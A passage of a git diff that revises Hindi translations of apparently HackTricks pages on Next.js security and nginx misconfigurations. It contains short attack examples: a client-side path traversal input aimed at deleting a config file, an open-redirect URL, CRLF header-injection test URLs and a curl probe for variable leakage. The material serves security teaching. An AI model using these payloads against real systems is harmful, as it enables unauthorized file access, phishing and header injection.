लॉजिक को शामिल करता है जो एप्लिकेशन में साझा किया जा सकता है। -- **.env.local:** स्थानीय विकास वातावरण के लिए विशिष्ट पर्यावरण चर को संग्रहीत करता है। ये चर **नहीं** संस्करण नियंत्रण में प्रतिबद्ध होते हैं। +- **app/utils/:** उपयोगिता फ़ंक्शन, सहायक मॉड्यूल और अन्य गैर-UI लॉजिक शामिल करता है जो एप्लिकेशन में साझा किया जा सकता है। +- **.env.local:** स्थानीय विकास वातावरण के लिए विशिष्ट पर्यावरण चर संग्रहीत करता है। ये चर संस्करण नियंत्रण में **नहीं** जोड़े जाते हैं। - **next.config.js:** Next.js के व्यवहार को अनुकूलित करता है, जिसमें webpack कॉन्फ़िगरेशन, पर्यावरण चर और सुरक्षा सेटिंग्स शामिल हैं। -- **tsconfig.json:** प्रोजेक्ट के लिए TypeScript सेटिंग्स को कॉन्फ़िगर करता है, प्रकार जांच और अन्य TypeScript सुविधाओं को सक्षम करता है। -- **package.json:** प्रोजेक्ट की निर्भरताओं, स्क्रिप्ट और मेटाडेटा का प्रबंधन करता है। -- **README.md:** प्रोजेक्ट के बारे में दस्तावेज़ीकरण और जानकारी प्रदान करता है, जिसमें सेटअप निर्देश, उपयोग दिशानिर्देश और अन्य प्रासंगिक विवरण शामिल हैं। -- **yarn.lock / package-lock.json:** प्रोजेक्ट की निर्भरताओं को विशिष्ट संस्करणों पर लॉक करता है, विभिन्न वातावरणों में सुसंगत इंस्टॉलेशन सुनिश्चित करता है। +- **tsconfig.json:** परियोजना के लिए TypeScript सेटिंग्स को कॉन्फ़िगर करता है, प्रकार जांच और अन्य TypeScript सुविधाओं को सक्षम करता है। +- **package.json:** परियोजना की निर्भरताओं, स्क्रिप्टों और मेटाडेटा का प्रबंधन करता है। +- **README.md:** परियोजना के बारे में दस्तावेज़ीकरण और जानकारी प्रदान करता है, जिसमें सेटअप निर्देश, उपयोग दिशानिर्देश और अन्य प्रासंगिक विवरण शामिल हैं। +- **yarn.lock / package-lock.json:** परियोजना की निर्भरताओं को विशिष्ट संस्करणों पर लॉक करता है, विभिन्न वातावरणों में सुसंगत इंस्टॉलेशन सुनिश्चित करता है। ## Client-Side in Next.js @@ -123,7 +123,7 @@ arduinoCopy codemy-nextjs-app/ ├── next.config.js └── ... ``` -**कार्यान्वयन:** +**क्रियान्वयन:** ```tsx // app/about/page.tsx @@ -188,19 +188,19 @@ return ( ``` **व्याख्या:** -- **गतिशील खंड:** `[id]` एक गतिशील खंड को दर्शाता है, जो URL से `id` पैरामीटर को कैप्चर करता है। -- **पैरामीटर तक पहुँच:** `params` ऑब्जेक्ट गतिशील पैरामीटर को शामिल करता है, जो घटक के भीतर पहुँच योग्य है। -- **मार्ग मिलान:** `/posts/*` से मेल खाने वाला कोई भी पथ, जैसे `/posts/1`, `/posts/abc`, आदि, इस घटक द्वारा संभाला जाएगा। +- **डायनामिक सेगमेंट:** `[id]` एक डायनामिक सेगमेंट को दर्शाता है, जो URL से `id` पैरामीटर को कैप्चर करता है। +- **पैरामीटर तक पहुँच:** `params` ऑब्जेक्ट में डायनामिक पैरामीटर होते हैं, जो कंपोनेंट के भीतर पहुँच योग्य होते हैं। +- **रूट मिलान:** कोई भी पथ जो `/posts/*` से मेल खाता है, जैसे `/posts/1`, `/posts/abc`, आदि, इस कंपोनेंट द्वारा संभाला जाएगा।
-नैस्टेड रूट्स +नेस्टेड रूट्स -Next.js नैस्टेड रूटिंग का समर्थन करता है, जो निर्देशिका लेआउट के समान पदानुक्रमित मार्ग संरचनाओं की अनुमति देता है। +Next.js नेस्टेड रूटिंग का समर्थन करता है, जो हायरार्किकल रूट संरचनाओं की अनुमति देता है जो डायरेक्टरी लेआउट को दर्शाती हैं। -**उदाहरण: `/dashboard/settings/profile` मार्ग** +**उदाहरण: `/dashboard/settings/profile` रूट** **फाइल संरचना:** ```arduino @@ -287,7 +287,7 @@ return ( ### संभावित क्लाइंट-साइड कमजोरियाँ -हालांकि Next.js एक सुरक्षित आधार प्रदान करता है, गलत कोडिंग प्रथाएँ कमजोरियाँ पेश कर सकती हैं। प्रमुख क्लाइंट-साइड कमजोरियों में शामिल हैं: +हालांकि Next.js एक सुरक्षित आधार प्रदान करता है, गलत कोडिंग प्रथाएँ कमजोरियों को पेश कर सकती हैं। प्रमुख क्लाइंट-साइड कमजोरियों में शामिल हैं:
@@ -330,7 +330,7 @@ return
क्लाइंट पथ ट्रैवर्सल -यह एक कमजोरी है जो हमलावरों को क्लाइंट-साइड पथों में हेरफेर करने की अनुमति देती है ताकि अनपेक्षित क्रियाएँ की जा सकें, जैसे कि क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF)। सर्वर-साइड पथ ट्रैवर्सल के विपरीत, जो सर्वर के फ़ाइल सिस्टम को लक्षित करता है, CSPT वैध API अनुरोधों को दुर्भावनापूर्ण एंडपॉइंट्स पर पुनः मार्गदर्शित करने के लिए क्लाइंट-साइड तंत्रों का शोषण करने पर केंद्रित है। +यह एक कमजोरी है जो हमलावरों को क्लाइंट-साइड पथों में हेरफेर करने की अनुमति देती है ताकि अनपेक्षित क्रियाएँ की जा सकें, जैसे कि क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF)। सर्वर-साइड पथ ट्रैवर्सल के विपरीत, जो सर्वर की फ़ाइल प्रणाली को लक्षित करता है, CSPT वैध API अनुरोधों को दुर्भावनापूर्ण एंडपॉइंट्स पर पुनः मार्गनिर्देशित करने के लिए क्लाइंट-साइड तंत्रों का शोषण करने पर ध्यान केंद्रित करता है। **कमजोर कोड का उदाहरण:** @@ -368,13 +368,13 @@ placeholder="Enter file path" ) } ``` -#### हमले का परिदृश्य +#### हमला परिदृश्य -1. **हमलावर का उद्देश्य**: `filePath` को हेरफेर करके एक महत्वपूर्ण फ़ाइल (जैसे, `admin/config.json`) को हटाने के लिए CSRF हमले को अंजाम देना। +1. **हमलावर का उद्देश्य**: `filePath` को हेरफेर करके एक महत्वपूर्ण फ़ाइल (जैसे, `admin/config.json`) को हटाने के लिए CSRF हमला करना। 2. **CSPT का शोषण**: - **दुष्ट इनपुट**: हमलावर एक URL तैयार करता है जिसमें हेरफेर किया गया `filePath` होता है जैसे `../deleteFile/config.json`। - **परिणामी API कॉल**: क्लाइंट-साइड कोड `/api/files/../deleteFile/config.json` पर एक अनुरोध करता है। -- **सर्वर का प्रबंधन**: यदि सर्वर `filePath` को मान्य नहीं करता है, तो यह अनुरोध को संसाधित करता है, संभावित रूप से संवेदनशील फ़ाइलों को हटाने या उजागर करने की संभावना होती है। +- **सर्वर का प्रबंधन**: यदि सर्वर `filePath` को मान्य नहीं करता है, तो यह अनुरोध को संसाधित करता है, संभावित रूप से संवेदनशील फ़ाइलों को हटा या उजागर कर सकता है। 3. **CSRF को निष्पादित करना**: - **तैयार लिंक**: हमलावर पीड़ित को एक लिंक भेजता है या एक दुष्ट स्क्रिप्ट एम्बेड करता है जो हेरफेर किए गए `filePath` के साथ डाउनलोड अनुरोध को ट्रिगर करता है। - **परिणाम**: पीड़ित अनजाने में क्रिया को निष्पादित करता है, जिससे अनधिकृत फ़ाइल पहुंच या हटाने की स्थिति उत्पन्न होती है। @@ -391,7 +391,7 @@ placeholder="Enter file path" ### सर्वर-साइड रेंडरिंग (SSR) -प्रत्येक अनुरोध पर पृष्ठों को सर्वर पर रेंडर किया जाता है, यह सुनिश्चित करते हुए कि उपयोगकर्ता को पूरी तरह से रेंडर किया गया HTML प्राप्त होता है। इस मामले में आपको अनुरोधों को संसाधित करने के लिए अपना कस्टम सर्वर बनाना चाहिए। +पृष्ठों को प्रत्येक अनुरोध पर सर्वर पर रेंडर किया जाता है, यह सुनिश्चित करते हुए कि उपयोगकर्ता को पूरी तरह से रेंडर किया गया HTML प्राप्त होता है। इस मामले में आपको अनुरोधों को संसाधित करने के लिए अपना कस्टम सर्वर बनाना चाहिए। **उपयोग के मामले:** @@ -449,7 +449,7 @@ Next.js API एंडपॉइंट्स को सर्वरलेस फ **कार्यान्वयन:** -Next.js 13 में `app` डायरेक्टरी के परिचय के साथ, रूटिंग और API हैंडलिंग अधिक लचीली और शक्तिशाली हो गई है। यह आधुनिक दृष्टिकोण फ़ाइल-आधारित रूटिंग सिस्टम के साथ निकटता से मेल खाता है लेकिन इसमें सर्वर और क्लाइंट घटकों के लिए समर्थन सहित उन्नत क्षमताएँ पेश करता है। +Next.js 13 में `app` डायरेक्टरी के परिचय के साथ, रूटिंग और API हैंडलिंग अधिक लचीली और शक्तिशाली हो गई है। यह आधुनिक दृष्टिकोण फ़ाइल-आधारित रूटिंग सिस्टम के साथ निकटता से मेल खाता है लेकिन इसमें सर्वर और क्लाइंट घटकों के लिए समर्थन सहित उन्नत क्षमताएँ शामिल हैं। #### बेसिक रूट हैंडलर @@ -463,7 +463,7 @@ my-nextjs-app/ ├── package.json └── ... ``` -**क्रियान्वयन:** +**कार्यान्वयन:** ```javascript // app/api/hello/route.js @@ -496,7 +496,7 @@ body: JSON.stringify({ name: "John Doe" }), विशिष्ट HTTP विधियों को संभालना -Next.js 13+ आपको एक ही `route.js` या `route.ts` फ़ाइल के भीतर विशिष्ट HTTP विधियों के लिए हैंडलर परिभाषित करने की अनुमति देता है, जो कोड को अधिक स्पष्ट और संगठित बनाता है। +Next.js 13+ आपको एक ही `route.js` या `route.ts` फ़ाइल के भीतर विशिष्ट HTTP विधियों के लिए हैंडलर परिभाषित करने की अनुमति देता है, जो कोड को स्पष्ट और अधिक संगठित बनाता है। **उदाहरण:** ```javascript @@ -586,11 +586,11 @@ headers: { "Content-Type": "application/json" },
-Next.js 12 और इससे पहले API रूट्स को संभालना +Next.js 12 और पहले API रूट्स को संभालना -## `pages` डायरेक्टरी में API रूट्स (Next.js 12 और इससे पहले) +## `pages` डायरेक्टरी में API रूट्स (Next.js 12 और पहले) -Next.js 13 ने `app` डायरेक्टरी और उन्नत रूटिंग क्षमताओं को पेश करने से पहले, API रूट्स मुख्य रूप से `pages` डायरेक्टरी के भीतर परिभाषित किए गए थे। यह दृष्टिकोण अभी भी व्यापक रूप से उपयोग किया जाता है और Next.js 12 और इससे पहले के संस्करणों में समर्थित है। +Next.js 13 ने `app` डायरेक्टरी और रूटिंग क्षमताओं को बढ़ाने से पहले, API रूट्स मुख्य रूप से `pages` डायरेक्टरी के भीतर परिभाषित किए गए थे। यह दृष्टिकोण अभी भी व्यापक रूप से उपयोग किया जाता है और Next.js 12 और पहले के संस्करणों में समर्थित है। #### बुनियादी API रूट @@ -615,7 +615,7 @@ res.status(200).json({ message: 'Hello, World!' }); - **स्थान:** API रूट `pages/api/` निर्देशिका के अंतर्गत होते हैं। - **निर्यात:** हैंडलर फ़ंक्शन को परिभाषित करने के लिए `export default` का उपयोग करें। -- **फ़ंक्शन हस्ताक्षर:** हैंडलर `req` (HTTP अनुरोध) और `res` (HTTP प्रतिक्रिया) ऑब्जेक्ट प्राप्त करता है। +- **फ़ंक्शन सिग्नेचर:** हैंडलर `req` (HTTP अनुरोध) और `res` (HTTP प्रतिक्रिया) ऑब्जेक्ट प्राप्त करता है। - **रूटिंग:** फ़ाइल का नाम (`hello.js`) एंडपॉइंट `/api/hello` से मैप होता है। #### गतिशील API रूट्स @@ -630,7 +630,7 @@ bashCopy codemy-nextjs-app/ ├── package.json └── ... ``` -**कार्यान्वयन:** +**क्रियान्वयन:** ```javascript javascriptCopy code// pages/api/users/[id].js @@ -701,7 +701,7 @@ res.status(405).end(`Method ${method} Not Allowed`); ### CORS कॉन्फ़िगरेशन -नियंत्रित करें कि कौन से मूल आपके API रूट्स तक पहुँच सकते हैं, क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) कमजोरियों को कम करते हुए। +नियंत्रित करें कि कौन से मूल आपके API रूट्स तक पहुँच सकते हैं, Cross-Origin Resource Sharing (CORS) कमजोरियों को कम करते हुए। **खराब कॉन्फ़िगरेशन उदाहरण:** ```javascript @@ -777,7 +777,7 @@ matcher: "/api/:path*", // Apply to all API routes ### क्लाइंट साइड में सर्वर कोड का प्रदर्शन -यह **सर्वर द्वारा उपयोग किए गए कोड का उपयोग क्लाइंट साइड द्वारा प्रदर्शित और उपयोग किए गए कोड में करना आसान हो सकता है**, यह सुनिश्चित करने का सबसे अच्छा तरीका है कि कोड की कोई फ़ाइल क्लाइंट साइड में कभी प्रदर्शित न हो, फ़ाइल की शुरुआत में इस आयात का उपयोग करना है: +यह **सर्वर द्वारा उपयोग किए गए कोड का उपयोग क्लाइंट साइड द्वारा प्रदर्शित और उपयोग किए गए कोड में करना आसान हो सकता है**, यह सुनिश्चित करने का सबसे अच्छा तरीका है कि कोड की कोई फ़ाइल कभी भी क्लाइंट साइड में प्रदर्शित न हो, फ़ाइल की शुरुआत में इस आयात का उपयोग करना है: ```js import "server-only" ``` @@ -787,7 +787,7 @@ import "server-only" **स्थान:** प्रोजेक्ट की जड़ या `src/` के भीतर। -**उद्देश्य:** एक अनुरोध को संसाधित करने से पहले सर्वर-साइड सर्वरलेस फ़ंक्शन में कोड निष्पादित करता है, जैसे कि प्रमाणीकरण, रीडायरेक्ट या प्रतिक्रियाओं को संशोधित करना। +**उद्देश्य:** एक अनुरोध संसाधित होने से पहले सर्वर-साइड सर्वरलेस फ़ंक्शन में कोड निष्पादित करता है, जैसे कि प्रमाणीकरण, रीडायरेक्ट या प्रतिक्रियाओं को संशोधित करना। **निष्पादन प्रवाह:** @@ -928,11 +928,11 @@ NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for ``` **समस्या:** -- **`SECRET_API_KEY`:** `NEXT_PUBLIC_` उपसर्ग के बिना, Next.js क्लाइंट को वेरिएबल्स को उजागर नहीं करता। हालाँकि, यदि गलती से उपसर्ग जोड़ा गया (जैसे, `NEXT_PUBLIC_SECRET_API_KEY`), तो यह क्लाइंट साइड पर उपलब्ध हो जाता है। +- **`SECRET_API_KEY`:** `NEXT_PUBLIC_` उपसर्ग के बिना, Next.js क्लाइंट को वेरिएबल्स को उजागर नहीं करता है। हालाँकि, यदि गलती से उपसर्ग जोड़ा गया (जैसे, `NEXT_PUBLIC_SECRET_API_KEY`), तो यह क्लाइंट साइड पर उपलब्ध हो जाता है। **हमलावर इसका कैसे दुरुपयोग करते हैं:** -यदि संवेदनशील वेरिएबल्स क्लाइंट को उजागर होते हैं, तो हमलावर उन्हें क्लाइंट-साइड कोड या नेटवर्क अनुरोधों की जांच करके प्राप्त कर सकते हैं, जिससे उन्हें APIs, डेटाबेस, या अन्य सेवाओं तक अनधिकृत पहुंच मिलती है। +यदि संवेदनशील वेरिएबल्स क्लाइंट को उजागर होते हैं, तो हमलावर उन्हें क्लाइंट-साइड कोड या नेटवर्क अनुरोधों की जांच करके प्राप्त कर सकते हैं, जिससे APIs, डेटाबेस, या अन्य सेवाओं तक अनधिकृत पहुंच प्राप्त होती है।
@@ -940,7 +940,7 @@ NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for रीडायरेक्ट्स -अपने एप्लिकेशन के भीतर URL रीडायरेक्शंस और रीलेखनों का प्रबंधन करें, यह सुनिश्चित करते हुए कि उपयोगकर्ताओं को उचित रूप से निर्देशित किया जाए बिना ओपन रीडायरेक्ट कमजोरियों को पेश किए। +अपने एप्लिकेशन के भीतर URL रीडायरेक्शंस और री-राइट्स का प्रबंधन करें, यह सुनिश्चित करते हुए कि उपयोगकर्ताओं को उचित रूप से निर्देशित किया जाए बिना ओपन रीडायरेक्ट कमजोरियों को पेश किए। #### क. ओपन रीडायरेक्ट कमजोरियाँ @@ -962,7 +962,7 @@ permanent: false, ``` **समस्या:** -- **गतिशील गंतव्य:** उपयोगकर्ताओं को किसी भी URL को निर्दिष्ट करने की अनुमति देता है, जिससे ओपन रीडायरेक्ट हमले संभव होते हैं। +- **गतिशील गंतव्य:** उपयोगकर्ताओं को कोई भी URL निर्दिष्ट करने की अनुमति देता है, जिससे ओपन रीडायरेक्ट हमले संभव होते हैं। - **उपयोगकर्ता इनपुट पर भरोसा करना:** उपयोगकर्ताओं द्वारा प्रदान किए गए URLs पर बिना सत्यापन के रीडायरेक्ट करना फ़िशिंग, मैलवेयर वितरण, या क्रेडेंशियल चोरी का कारण बन सकता है। **हमलावर इसका दुरुपयोग कैसे करते हैं:** @@ -981,7 +981,7 @@ https://yourdomain.com/redirect?url=https://malicious-site.com अपने Next.js एप्लिकेशन के लिए Webpack कॉन्फ़िगरेशन को अनुकूलित करें, जो सावधानी से न संभाले जाने पर सुरक्षा कमजोरियों को अनजाने में पेश कर सकता है। -#### a. संवेदनशील मॉड्यूल को उजागर करना +#### क. संवेदनशील मॉड्यूल को उजागर करना **खराब कॉन्फ़िगरेशन उदाहरण:** ```javascript @@ -1003,7 +1003,7 @@ return config **हमलावर इसका कैसे दुरुपयोग करते हैं:** -हमलावर एप्लिकेशन की निर्देशिका संरचना तक पहुंच सकते हैं या उसे पुनर्निर्माण कर सकते हैं, संभावित रूप से संवेदनशील फ़ाइलों या डेटा को खोजकर और उनका दुरुपयोग कर सकते हैं। +हमलावर एप्लिकेशन की निर्देशिका संरचना तक पहुंच प्राप्त कर सकते हैं या उसे पुनर्निर्मित कर सकते हैं, संभावित रूप से संवेदनशील फ़ाइलों या डेटा को खोजकर और उनका दुरुपयोग करके।
@@ -1120,7 +1120,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client }, } ``` -**नोट:** सर्वर-साइड के लिए वेरिएबल्स को सीमित करने के लिए, उन्हें `env` ऑब्जेक्ट से हटा दें या क्लाइंट एक्सपोजर के लिए `NEXT_PUBLIC_` से पूर्ववर्ती करें। +**नोट:** सर्वर-साइड के लिए वेरिएबल्स को सीमित करने के लिए, उन्हें `env` ऑब्जेक्ट से हटा दें या क्लाइंट एक्सपोजर के लिए `NEXT_PUBLIC_` से प्रीफिक्स करें। ### प्रमाणीकरण और प्राधिकरण @@ -1134,7 +1134,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client - **सुरक्षित कुकीज़:** `HttpOnly`, `Secure`, और `SameSite` विशेषताओं को सेट करें। - **पासवर्ड हैशिंग:** उन्हें स्टोर करने से पहले हमेशा पासवर्ड को हैश करें। -- **इनपुट मान्यता:** इनपुट को मान्य और स्वच्छ करके इंजेक्शन हमलों को रोकें। +- **इनपुट मान्यता:** इनपुट को मान्य और साफ करके इंजेक्शन हमलों को रोकें। **उदाहरण:** ```javascript @@ -1170,9 +1170,9 @@ res.status(401).json({ error: "Invalid credentials" }) **रणनीतियाँ:** - **छवि अनुकूलन:** स्वचालित छवि अनुकूलन के लिए Next.js के `next/image` घटक का उपयोग करें। -- **कोड विभाजन:** प्रारंभिक लोड समय को कम करने के लिए गतिशील आयातों का लाभ उठाएं। +- **कोड विभाजन:** प्रारंभिक लोड समय को कम करने के लिए कोड को विभाजित करने के लिए गतिशील आयात का लाभ उठाएँ। - **कैशिंग:** API प्रतिक्रियाओं और स्थिर संपत्तियों के लिए कैशिंग रणनीतियों को लागू करें। -- **आलसी लोडिंग:** घटकों या संपत्तियों को केवल तब लोड करें जब उनकी आवश्यकता हो। +- **आलसी लोडिंग:** घटकों या संपत्तियों को केवल तब लोड करें जब उनकी आवश्यकता हो। **उदाहरण:** ```jsx diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index e8682d43a..ea79b30be 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -16,9 +16,9 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट डायरेक्टरी के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट डायरेक्टरी के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) को परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देश वैश्विक रूप से लागू होता है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है। +इस कॉन्फ़िगरेशन में, `/etc/nginx` को रूट डायरेक्टरी के रूप में निर्दिष्ट किया गया है। यह सेटअप निर्दिष्ट रूट डायरेक्टरी के भीतर फ़ाइलों तक पहुँच की अनुमति देता है, जैसे कि `/hello.txt`। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि केवल एक विशिष्ट स्थान (`/hello.txt`) परिभाषित किया गया है। रूट स्थान (`location / {...}`) के लिए कोई कॉन्फ़िगरेशन नहीं है। इस चूक का मतलब है कि रूट निर्देश वैश्विक रूप से लागू होता है, जिससे रूट पथ `/` पर अनुरोधों को `/etc/nginx` के तहत फ़ाइलों तक पहुँचने की अनुमति मिलती है। -इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील डायरेक्टरी, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक प्रमाणीकरण के लिए उपयोग की जाने वाली एन्क्रिप्टेड क्रेडेंशियल्स शामिल हैं, तक अनपेक्षित पहुँच की अनुमति दे सकता है। +इस कॉन्फ़िगरेशन से एक महत्वपूर्ण सुरक्षा विचार उत्पन्न होता है। एक साधारण `GET` अनुरोध, जैसे `GET /nginx.conf`, संवेदनशील जानकारी को उजागर कर सकता है क्योंकि यह `/etc/nginx/nginx.conf` में स्थित Nginx कॉन्फ़िगरेशन फ़ाइल को सर्व करता है। रूट को कम संवेदनशील डायरेक्टरी, जैसे `/etc`, पर सेट करना इस जोखिम को कम कर सकता है, फिर भी यह अन्य महत्वपूर्ण फ़ाइलों, जिसमें अन्य कॉन्फ़िगरेशन फ़ाइलें, एक्सेस लॉग, और यहां तक कि HTTP बेसिक प्रमाणीकरण के लिए उपयोग की जाने वाली एन्क्रिप्टेड क्रेडेंशियल्स तक अनपेक्षित पहुँच की अनुमति दे सकता है। ## Alias LFI Misconfiguration @@ -81,7 +81,7 @@ location / { return 302 https://example.com$uri; } ``` -HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-कोडित रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने से (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) एक गलत कॉन्फ़िगर किए गए सर्वर पर सर्वर एक नए हेडर का नाम `Detectify` जारी करता है। यह इसलिए होता है क्योंकि $uri वेरिएबल URL-कोडित नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है: +HTTP अनुरोधों में \r (Carriage Return) और \n (Line Feed) नए लाइन वर्णों का संकेत देते हैं, और उनके URL-कोडित रूप `%0d%0a` के रूप में दर्शाए जाते हैं। एक अनुरोध में इन वर्णों को शामिल करने (जैसे, `http://localhost/%0d%0aDetectify:%20clrf`) से एक गलत कॉन्फ़िगर किए गए सर्वर पर एक नया हेडर `Detectify` जारी होता है। यह इसलिए होता है क्योंकि $uri वेरिएबल URL-कोडित नए लाइन वर्णों को डिकोड करता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर उत्पन्न होता है: ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -98,9 +98,9 @@ CRLF इंजेक्शन और प्रतिक्रिया विभ - `https://example.com/%20X` - कोई भी HTTP कोड - `https://example.com/%20H` - 400 खराब अनुरोध -यदि कमजोर है, तो पहला "X" के रूप में लौटेगा जो कोई भी HTTP विधि है और दूसरा एक त्रुटि लौटाएगा क्योंकि H एक मान्य विधि नहीं है। इसलिए सर्वर को कुछ इस तरह प्राप्त होगा: `GET / H HTTP/1.1` और यह त्रुटि को ट्रिगर करेगा। +यदि कमजोर है, तो पहला "X" के रूप में लौटेगा क्योंकि यह कोई भी HTTP विधि है और दूसरा एक त्रुटि लौटाएगा क्योंकि H एक मान्य विधि नहीं है। इसलिए सर्वर को कुछ इस तरह प्राप्त होगा: `GET / H HTTP/1.1` और यह त्रुटि को ट्रिगर करेगा। -एक और पहचान उदाहरण होगा: +अन्य पहचान उदाहरण होंगे: - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - कोई भी HTTP कोड - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 खराब अनुरोध @@ -127,9 +127,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -यह पता चला है कि **उपयोगकर्ता द्वारा प्रदान किए गए डेटा** को कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे [यहां](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने इसके होने की पहचान [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर की, जो सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित करता है। +यह पाया गया कि **उपयोगकर्ता द्वारा प्रदान किए गए डेटा** को कुछ परिस्थितियों में **Nginx वेरिएबल** के रूप में माना जा सकता है। इस व्यवहार का कारण कुछ हद तक अस्पष्ट है, फिर भी यह न तो दुर्लभ है और न ही सत्यापित करना सीधा है। इस विसंगति को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे [यहां](https://hackerone.com/reports/370094) देखा जा सकता है। त्रुटि संदेश की आगे की जांच ने इसके होने की पहचान [Nginx के कोडबेस के SSI फ़िल्टर मॉड्यूल](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) के भीतर की, जो सर्वर साइड इनक्लूड्स (SSI) को मूल कारण के रूप में इंगित करता है। -इस **गलत कॉन्फ़िगरेशन** का **पता लगाने** के लिए, निम्नलिखित कमांड निष्पादित की जा सकती है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है: +इस **गलत कॉन्फ़िगरेशन का पता लगाने** के लिए, निम्नलिखित कमांड निष्पादित की जा सकती है, जिसमें वेरिएबल प्रिंटिंग के लिए एक रेफरर हेडर सेट करना शामिल है: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` @@ -153,12 +153,12 @@ proxy_intercept_errors on; proxy_hide_header Secret-Header; } ``` -- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): यह निर्देश Nginx को 300 से अधिक स्थिति कोड वाले बैकएंड प्रतिक्रियाओं के लिए एक कस्टम प्रतिक्रिया देने की अनुमति देता है। यह सुनिश्चित करता है कि, हमारे उदाहरण uWSGI एप्लिकेशन के लिए, `500 Error` प्रतिक्रिया को Nginx द्वारा रोका और संभाला जाता है। -- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): जैसा कि नाम से पता चलता है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर को छुपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है। +- [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): यह निर्देश Nginx को 300 से अधिक स्थिति कोड वाले बैकएंड प्रतिक्रियाओं के लिए एक कस्टम प्रतिक्रिया देने की अनुमति देता है। यह सुनिश्चित करता है कि, हमारे उदाहरण uWSGI एप्लिकेशन के लिए, एक `500 Error` प्रतिक्रिया को Nginx द्वारा रोका और संभाला जाता है। +- [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): जैसा कि नाम से स्पष्ट है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर को छुपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है। -जब एक मान्य `GET` अनुरोध किया जाता है, तो Nginx इसे सामान्य रूप से संसाधित करता है, बिना किसी गुप्त हेडर को प्रकट किए एक मानक त्रुटि प्रतिक्रिया लौटाता है। हालाँकि, एक अमान्य HTTP अनुरोध इस तंत्र को बायपास करता है, जिससे कच्ची बैकएंड प्रतिक्रियाएँ, जिसमें गुप्त हेडर और त्रुटि संदेश शामिल हैं, उजागर हो जाती हैं। +जब एक मान्य `GET` अनुरोध किया जाता है, तो Nginx इसे सामान्य रूप से संसाधित करता है, बिना किसी गुप्त हेडर को प्रकट किए एक मानक त्रुटि प्रतिक्रिया लौटाता है। हालाँकि, एक अमान्य HTTP अनुरोध इस तंत्र को बायपास करता है, जिससे कच्चे बैकएंड प्रतिक्रियाओं का खुलासा होता है, जिसमें गुप्त हेडर और त्रुटि संदेश शामिल होते हैं। -## merge_slashes को बंद करना +## merge_slashes को बंद पर सेट करें डिफ़ॉल्ट रूप से, Nginx का **`merge_slashes` निर्देश** **`on`** 